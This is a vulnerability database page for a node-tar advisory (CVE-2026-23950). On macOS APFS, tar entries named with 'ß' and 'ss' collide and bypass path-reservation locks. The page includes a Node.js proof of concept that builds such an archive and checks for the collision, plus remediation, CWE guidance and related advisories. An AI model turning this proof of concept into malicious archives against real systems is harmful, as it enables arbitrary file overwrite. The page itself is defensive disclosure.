GHSA-r6q2-hw4h-h46w CVE-2026-23950
Race Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS
- Severity
- 8.8 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.26%
- Chance of exploitation in the next 30 days. Higher than 18.34% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-176 Improper Handling of Unicode Encoding
- CWE-367 Time-of-check Time-of-use (TOCTOU) Race Condition
- Fix
7.5.4- Upgrade tar to this version or later
Description
TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS
AUTHOR: Tomás Illuminati
Details
A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.
// node-tar/src/path-reservations.ts (Lines 53-62)
reserve(paths: string[], fn: Handler) {
paths =
isWindows ?
['win32 parallelization disabled']
: paths.map(p => {
return stripTrailingSlashes(
join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS
).toLowerCase()
})
In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:
bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss
bash-3.2$ ls
collision_test_ss
bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß
bash-3.2$ ls -la
total 8
drwxr-xr-x 3 testuser staff 96 Jan 19 01:25 .
drwxr-x---+ 82 testuser staff 2624 Jan 19 01:25 ..
-rw-r--r-- 1 testuser staff 16 Jan 19 01:26 collision_test_ss
bash-3.2$
PoC
const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');
const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);
console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);
// Construct stream
const stream = new PassThrough();
const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);
// Key 1: "f_ss"
const header1 = new tar.Header({
path: 'collision_ss',
mode: 0o644,
size: contentA.length,
});
header1.encode();
// Key 2: "f_ß"
const header2 = new tar.Header({
path: 'collision_ß',
mode: 0o644,
size: contentB.length,
});
header2.encode();
// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding
stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding
// End
stream.write(Buffer.alloc(1024));
stream.end();
// Extract
const extract = new tar.Unpack({
cwd: exploitDir,
// Ensure jobs is high enough to allow parallel processing if locks fail
jobs: 8
});
stream.pipe(extract);
extract.on('end', () => {
console.log('[*] Extraction complete');
// Check what exists
const files = fs.readdirSync(exploitDir);
console.log('[*] Files in exploit dir:', files);
files.forEach(f => {
const p = path.join(exploitDir, f);
const stat = fs.statSync(p);
const content = fs.readFileSync(p, 'utf8');
console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
});
if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
console.log('\[*] GOOD');
} else {
console.log('[-] No collision');
}
});
Impact
This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive.
Remediation
Update path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en').
Users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| tar | < 7.5.4 |
7.5.4 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
tar npm → 7.5.4
- npm
npm install tar@7.5.4- yarn
yarn add tar@7.5.4- pnpm
pnpm add tar@7.5.4
Severity breakdown
CVSS 3.1 8.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Changed
- Confidentiality
- Low
- Integrity
- High
- Availability
- Low
Weakness
CWE-176: Improper Handling of Unicode Encoding
The product does not properly handle when an input contains Unicode encoding.
How to prevent it
- Architecture and Design: Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition
The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check.
How to prevent it
- Implementation: The most basic advice for TOCTOU vulnerabilities is to not perform a check before the use. This does not resolve the underlying issue of the execution of a function on a resource whose state and identity cannot be assured, but it does help to limit the false sense of security given by the check.
- Implementation: When the file being altered is owned by the current user and group, set the effective gid and uid to that of the current user and group when executing this statement.
- Architecture and Design: Limit the interleaving of operations on files from multiple processes.
- Implementation, Architecture and Design: If you cannot perform operations atomically and you must share access to the resource between multiple processes or threads, then try to limit the amount of time (CPU cycles) between the check and use of the resource. This will not fix the problem, but it could make it more difficult for an attack to succeed.
- Implementation: Recheck the resource after the use call to verify that the action was taken appropriately.
- Architecture and Design: Ensure that some environmental locking mechanism can be used to protect resources effectively.
- Implementation: Ensure that locking occurs before the check, as opposed to afterwards, such that the resource, as checked, is the same as it is when in use.
References
Advisories
Packages
Other links
- github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w
- github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6
- access.redhat.com/errata/RHSA-2026:18480
- access.redhat.com/errata/RHSA-2026:18868
- access.redhat.com/errata/RHSA-2026:2144
- access.redhat.com/errata/RHSA-2026:2926
- access.redhat.com/errata/RHSA-2026:6192
- access.redhat.com/security/cve/CVE-2026-23950
- bugzilla.redhat.com/show_bug.cgi
- security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23950.json
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-r292-9mhp-454m node-tar: Uncontrolled recursion in mapHas/filesFilter allows uncatchable stack-overflow DoS via crafted long-path tar with member selection | High | Also affects tar |
| GHSA-gvwx-54wh-qm9j node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath records | Medium | Also affects tar |
| GHSA-8x88-c5mf-7j5w node-tar: Negative tar entry size causes infinite loop in archive replace | High | Also affects tar |
| GHSA-23hp-3jrh-7fpw node-tar: Decompression/parse DoS via unlimited input | High | Also affects tar |
| GHSA-w8wr-v893-vjvp node-tar: Process crash via PAX numeric path type confusion | High | Also affects tar |
| GHSA-vmf3-w455-68vh node-tar applies PAX size override to intermediary GNU long-name/long-link headers, causing tar parser interpretation differential (file smuggling) | Medium | Also affects tar |
| GHSA-9ppj-qmqm-q256 node-tar Symlink Path Traversal via Drive-Relative Linkpath | Medium | Also affects tar |
| GHSA-qffp-2rhf-9h96 tar has Hardlink Path Traversal via Drive-Relative Linkpath | Medium | Also affects tar |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor